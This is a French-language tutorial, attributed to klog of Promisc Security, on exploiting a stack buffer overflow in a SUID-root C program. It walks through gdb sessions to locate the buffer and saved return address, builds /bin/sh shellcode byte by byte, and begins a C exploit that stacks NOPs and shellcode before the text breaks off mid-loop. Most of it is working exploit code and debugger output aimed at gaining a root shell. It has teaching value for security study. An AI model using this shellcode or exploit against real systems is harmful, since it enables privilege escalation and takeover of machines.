-=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- BUFFER OVERFLOW BY KLOG -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- BUFFER OVERFLOW: L'exploitation du SUID par l'Homme par klog, Promisc Security, Inc. Dans le but d'expliquer ce qui est, de toute facon, devenu chose commune chez les script kids. INTRODUCTION ~~~~~~~~~~~~ Avant de debuter, il serait necessaire de comprendre en quoi consiste un buffer overflow. Etant donner que je m'attends de vous a avoir certaines connaissances en C ainsi qu'en assembleur, je ne m'attarderai pas sur ce point. Lors de l'appel d'une procedure, le processeur sauvegarde d'abord le contenu actuel de %eip dans la stack du programme. Or, la stack ne contient pas _seulement_ que ces positions sauvegardes, mais aussi tout buffer alloue dynamiquement, ce qui signifie toute variable declaree a l'interieur d'une procedure, ou toute variable servant d'argument a une procedure. Voici un bref exemple de ceci: proc(char *buf2, char *buf1) { char buf3[10]; ... <--- breakpoint } main() { char buf0[4]; ... proc("pro", "misc"); } STACK: [... [buf3][%eip][buf2][buf1][buf0]...] Suivant ce principe, nous serons vite interesses a overwriter %eip sauvegarde dans la stack afin de faire executer au processeur notre code arbitraire. La question est _comment_ overwriter l'image d'%eip. Hors, nous savons qu'en C, certaines fonctions peuvent ecrire dans un buffer et, si l'on lui ordonne d'ecrire un string plus grosse que le buffer destination, elle le fera au-dela des limites du buffer. On inclue parmis ces fonctions gets(), sprintf(), strcpy(), strcat(), ainsi que des fonctions jugees "plus secures" telles que snprintf() ou bopcy(), si celles-ci sont mal utilisees. De plus, toute fonction de libc (ou toute autre librairie) faisant appel a de telles fonctions sont, elles-aussi, contamines par la vulnerabilite, par exemple certaines vieilles versions de syslog(). Il serait aussi utile de surveiller toute assignation faite a des pointeurs, surtout lorsque celles-ci sont iteratives, ou pire, recursives. Pour resumer, l'exploitation d'un buffer overflow consiste en une operation d'une grande precision ou l'on tente d'overwriter l'image de %eip sauvegardee dans la stack, en tentant d'obliger une function vulnerable a ecrire au-dela des limites d'un buffer loge dans le stack segment. Voici donc une illustration de chacune des creations de buffer dans la stack de l'exemple precedent, ainsi que la string qui servira a overwriter %eip si nous considerons que nous la copierons en exploitant, par exemple, strcpy(buf3, string): BUF0: XXXX BUF1: XXXX BUF2: XXXX EIP: [old_eip] BUF3: XXXXXXXXXX STRING: XXXXXXXXXX[new_eip] L'EXPLOITATION ~~~~~~~~~~~~~~ Maintenant que nous avons pris connaissance de certains elements essentiels, il serait bien de mettre sur pied un plan d'attaque. Ainsi, nous savons qu'il est possible d'executer arbitrairement un quelconque code en overwritant %eip. La question est maintenant de savoir ou sera positionner ce code. En effet, il faut tenir compte du fait que nous sommes dans un environnement proteger, ou la virtual memory est utilisee. Cela nous oblige donc a include le code a executer a l'interieur meme des segments du processus vulnerable (qui, etant suid, devient une propriete du root lors de son execution), sans quoi une faute de protection ou de segmentation se produira. C'est d'ailleur pour cette raison que nous placerons notre code a l'interieur meme du buffer. Voici une nouvelle representation de la string de l'overflow: STRING: [NOPs][code arbistraire][new_eip] Maintenant que nous savons en quoi consiste la string que nous allons utiliser, il serait temps de trouver quelques adresses qui nous seront necessaires pour le bon fonctionnement de l'operation: 1) l'adresse du buffer a overflower; 2) la position de l'image de %eip. C'est ici que vous devrez sortir le meilleur ami de l'homme: gdb. Supposons d'abord que le programme suivant soit suid root et que nous desirions l'exploiter... iff% cat > suid.c main(int argc, char *argv[]) { char buffer[1024]; strcpy(buffer, argv[1]); } ^C iff% gcc -static suid.c -o suid iff% gdb suid [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c0
: pushl %ebp 0x10c1 : movl %esp,%ebp 0x10c3 : subl $0x400,%esp 0x10c9 : call 0x1164 <__main> 0x10ce : movl 0xc(%ebp),%eax 0x10d1 : addl $0x4,%eax 0x10d4 : movl (%eax),%edx 0x10d6 : pushl %edx 0x10d7 : leal 0xfffffc00(%ebp),%eax 0x10dd : pushl %eax 0x10de : call 0x1238 0x10e3 : addl $0x8,%esp 0x10e6 : leave 0x10e7 : ret End of assembler dump. Nous observons ici que l'adresse de "buffer", etant placee dans la stack en dernier lieu (puisque "buffer" est le premier argument de strcpy()), sera necessairement contenue dans le registre %eax, tel que le demontre "pushl %eax" a l'adresse 0x10dd. Ainsi, nous pourons recuperer l'adresse de "buffer" en recuperant le contenu de %eax juste avant l'appel de strcpy(). (gdb) break *0x10de Breakpoint 1 at 0x10de (gdb) run Starting program: /usr/home/mbuf/dev/suid Breakpoint 1, 0x10de in main () (gdb) info registers eax 0xefbfd91c -272639716 ecx 0xefbfdd40 -272638656 edx 0x0 0 ebx 0xefbfdd3c -272638660 esp 0xefbfd914 0xefbfd914 ebp 0xefbfdd1c 0xefbfdd1c esi 0xefbfdd97 -272638569 edi 0x0 0 eip 0x10de 0x10de eflags 0x286 646 cs 0x1f 31 ss 0x27 39 ds 0x27 39 es 0x27 39 (gdb) Bingo. On s'appercoit ici que l'adresse de "buffer" est 0xefbfd91c. Maintenant, il nous faut trouver l'adresse du contenu de %eip sauvegarde avant l'appel de main(). Pour faire une telle chose, la technique la plus sure est sans doute le brute-forcing. Nous tenterons donc d'essayer d'overwriter %eip avec exactitude et d'obtenir la distance exacte entre le debut du buffer a overflower et la position de %eip. iff% gdb suid [...] (gdb) run `perl -e "printf('A'x1032)";echo BBBB` Starting program: /usr/home/mbuf/tmp/huhu [...] Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () (gdb) run `perl -e "printf('A'x1028)";echo BBBB` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/home/mbuf/tmp/huhu [...] Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) bt #0 0x42424242 in ?? () #1 0x0 in ?? () (gdb) Bingo. Nous savons maintenant qu'en utilisant un offset de 1028 par rapport a la position initiale du buffer (0xefbfd91c), "BBBB" ('B'==0x42) overwrite parfaitement %eip. On pouvait s'y attendre, puisque "buffer" n'est separer de l'image de %eip que par l'image de %ebp (registre de 32 bits, 4 bytes), et que "buffer" a une taille de 1024 bytes. LE SHELLCODE ~~~~~~~~~~~~ Maintenant, il est temps de passer aux choses serieuses. Nous devons ecrire le shellcode, soit le code que nous executerons arbitrairement. Pour ce faire, nous allons d'abord ecrire le code en C pour ensuite le desassembler... iff% cat > code.c main() { char *cmd[] = {"/bin/sh",0}; execve("/bin/sh", cmd, 0); } ^C iff% gcc -static code.c -o code iff% ./code $ exit iff% gdb code [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c8
: pushl %ebp 0x10c9 : movl %esp,%ebp 0x10cb : subl $0x8,%esp 0x10ce : call 0x1174 <__main> 0x10d3 : leal 0xfffffff8(%ebp),%eax 0x10d6 : movl $0x10c0,0xfffffff8(%ebp) 0x10dd : movl $0x0,0xfffffffc(%ebp) 0x10e4 : pushl $0x0 0x10e6 : leal 0xfffffff8(%ebp),%eax 0x10e9 : pushl %eax 0x10ea : pushl $0x10c0 0x10ef : call 0x1218 0x10f4 : addl $0xc,%esp 0x10f7 : leave 0x10f8 : ret End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: 0x1218 : leal 0x3b,%eax 0x121e : lcall 0x7,0x0 0x1225 : jb 0x1210 0x1227 : ret (gdb) On voit ici une grande partie du code que nous desirons inclure dans notre shellcode. Comme vous auriez pu le deviner, de nombreuses modifications devront etre portee avant que celui-ci ne soit utilisable. Voici en fait les quelques instructions necessaires au bon fonctionnement du shellcode: movl [shell],0xfffffff8(%ebp) 7 bytes movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl [shell] 5 bytes leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes "/bin/sh" Maintenant que nous avons trouve les instructions a placer dans le shellcode, il nous reste a trouver les adresses de "/bin/sh" (shell). Or, si l'on decide d'ecrire d'abord notre shellcode pour le faire suivre par "/bin/sh", il est trivial de calculer la position exacte de "/bin/sh" dans le buffer, etant donner que nous connaissons deja la position du buffer en memoire. Cependant, nous ne desirons pas referer a "/bin/sh" de facon static dans notre shellcode. Pourquoi? tout simplement parce que si on desire placer le shellcode dans un autre buffer que celui a overflower, nous devrons aussi _reecrire_ le shellcode en entier. C'est pourquoi, lorsque l'on desire faire appel a la string "/bin/sh", nous utiliserons une technique simple mais efficace de wrapping: jmp [call addr] popl %ebx movl %ebx,0xfffffff8(%ebp) movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl %ebx leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes call [popl addr] "/bin/sh" En voila. Sachant que les instructions jmp et call peuvent prendre comme operands des adresses relatives et que lorsqu'un call est effectuer, l'adresse de l'instruction suivante est placee dans la stack (l'image de %eip), nous pourons retrouver l'adresse de "/bin/sh" en la retirant de la stack et en la placeant dans un registre non utilise (%ebx). Pour trouver les adresses relatives (offset) de popl et call, nous devrons d'abord trouver la taille de chacune des nouvelles instructions que nous avons inserer: iff% cat > wrapper.c main() { __asm__(" jmp 37 popl %ebx movl %ebx,0xfffffff8(%ebp) pushl %ebx call -36 "); } ^C iff% gdb wrapper [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c0
: pushl %ebp 0x10c1 : movl %esp,%ebp 0x10c3 : call 0x1154 <__main> 0x10c8 : jmp 0x10ef <__do_global_dtors+15> 0x10ca : popl %ebx 0x10cb : movl %ebx,0xfffffff8(%ebp) 0x10ce : pushl %ebx 0x10cf : call 0x10b0 0x10d4 : leave 0x10d5 : ret (gdb) Parfait, voici donc avec exactitude le nouveau code que nous desirons avoir dans notre shellcode: jmp 31 2 bytes popl %ebx 1 byte movl %ebx,0xfffffff8(%ebp) 3 bytes movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl %ebx 1 byte leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes call -36 5 bytes "/bin/sh" Voila! Il est maintenant temps de reecrire notre wrapper, puis de trouver les opcodes associees a chacunes des instructions que nous desirons utiliser. Pour des raisons que je ne connais trop, "lcall" n'a pas des operands valides tel que demontrer dans l'exemple ci-haut. C'est pourquoi nous trouverons les opcodes de toutes les instructions en ecrivant ces dernieres dans un inline __asm__, alors que nous trouverons lcall en desassemblant execve(): iff% cat > asmcode.c main() { __asm__(" jmp 31 popl %ebx movl %ebx,0xfffffff8(%ebp) movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffff8(%ebp),%eax pushl %eax pushl %ebx leal 0x3b,%eax call -31 "); execve("", 0, 0); } iff% gcc -static asmcode.c -o asmcode iff% gdb asmcode [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c4
: pushl %ebp 0x10c5 : movl %esp,%ebp 0x10c7 : call 0x1174 <__main> 0x10cc : jmp 0x10ed # = +7 0x10ce : popl %ebx 0x10cf : movl %ebx,0xfffffff8(%ebp) 0x10d2 : movl $0x0,0xfffffffc(%ebp) 0x10d9 : pushl $0x0 0x10db : leal 0xfffffff8(%ebp),%eax 0x10de : pushl %eax 0x10df : pushl %ebx 0x10e0 : leal 0x3b,%eax 0x10e6 : call 0x10c7 # = -7 0x10eb : pushl $0x0 0x10ed : pushl $0x0 0x10ef : pushl $0x10c0 0x10f4 : call 0x1218 0x10f9 : addl $0xc,%esp 0x10fc : leave 0x10fd : ret (gdb) x/31xb 0x10cc 0x10cc : 0xeb 0x1f 0x5b 0x89 0x5d 0xf8 0xc7 0x45 0x10d4 : 0xfc 0x00 0x00 0x00 0x00 0x6a 0x00 0x8d 0x10dc : 0x45 0xf8 0x50 0x53 0x8d 0x05 0x3b 0x00 0x10e4 : 0x00 0x00 0xe8 0xdc 0xff 0xff 0xff (gdb) disassemble execve Dump of assembler code for function execve: 0x1218 : leal 0x3b,%eax 0x121e : lcall 0x7,0x0 0x1225 : jb 0x1210 0x1227 : ret (gdb) x/13xb 0x1218 0x1218 : 0x8d 0x05 0x3b 0x00 0x00 0x00 0x9a 0x00 0x1220 : 0x00 0x00 0x00 0x07 0x00 (gdb) Et voila. Voici a quoi va ressembler notre shellcode complet: 0xeb 0x1f 0x5b 0x89 0x5d 0xf8 0xc7 0x45 0xfc 0x00 0x00 0x00 0x00 <--- main 0x6a 0x00 0x8d 0x45 0xf8 0x50 0x53 0x8d 0x05 0x3b 0x00 0x00 0x00 0x8d 0x05 0x3b 0x00 0x00 0x00 0x9a 0x00 <--- execve 0x00 0x00 0x00 0x07 0x00 0xe8 0xdc 0xff <--- call [popl] 0xff 0xff "/bin/sh" <--- shell Hum. On apercoit un autre probleme ici. Le shellcode semble parfait _mais_ il ne poura jamais etre copier en entier via une fonction comme strcpy(). Pourquoi? tout simplement a cause des 0x00, qui seront consideres comme une fin de string. C'est pourquoi deux solutions s'offrent a nous. La premiere serait d'utiliser un registre clear a la place d'utiliser $0x00 dans chaque cas necessaire. La seconde serait d'inserer le shellcode ailleurs que dans le buffer cible, ce qui serait la aussi une solution tres viable (la placer en argv[X] ou autre). L'EXPLOIT ~~~~~~~~~ Pour l'exemple d'exploit fournit ici, je ferai abstraction de ce probleme pour laisser au codeur le choix de sa technique. Cela evitera, de plus, que cet article soit utilise aveuglement pour fournir aux script kids une facon simple d'ecrire leurs propres exploits. Voici donc a quoi ressemblerait un exploit pour un buffer overflow cree par une fonction telle bcopy() (ce qui est tres rare, etant donner la possibilite le limiter la taille des donnees copiees qu'offre bcopy()): #define OFFSET 1028 char shellcode[] = "\xeb\x1f\x5b\x89\x5d\xf8\xc7\x45\xfc\x00\x00" "\x00\x00\x6a\x00\x8d\x45\xf8\x50\x53\x8d\x05" "\x3b\x00\x00\x00\x8d\x05\x3b\x00\x00\x00\x9a" "\x00\x00\x00\x00\x07\x00\xe8\xdc\xff\xff\xff" "/bin/sh"; main(int argc, char *argv[]) { char string[OFFSET+4]; int i, j; /* copie les NOPs */ for(i=0;i<(OFFSET-sizeof(shellcode));i++) string[i] = 0x90; /* copie le shellcode */ for(i=i,j=0;i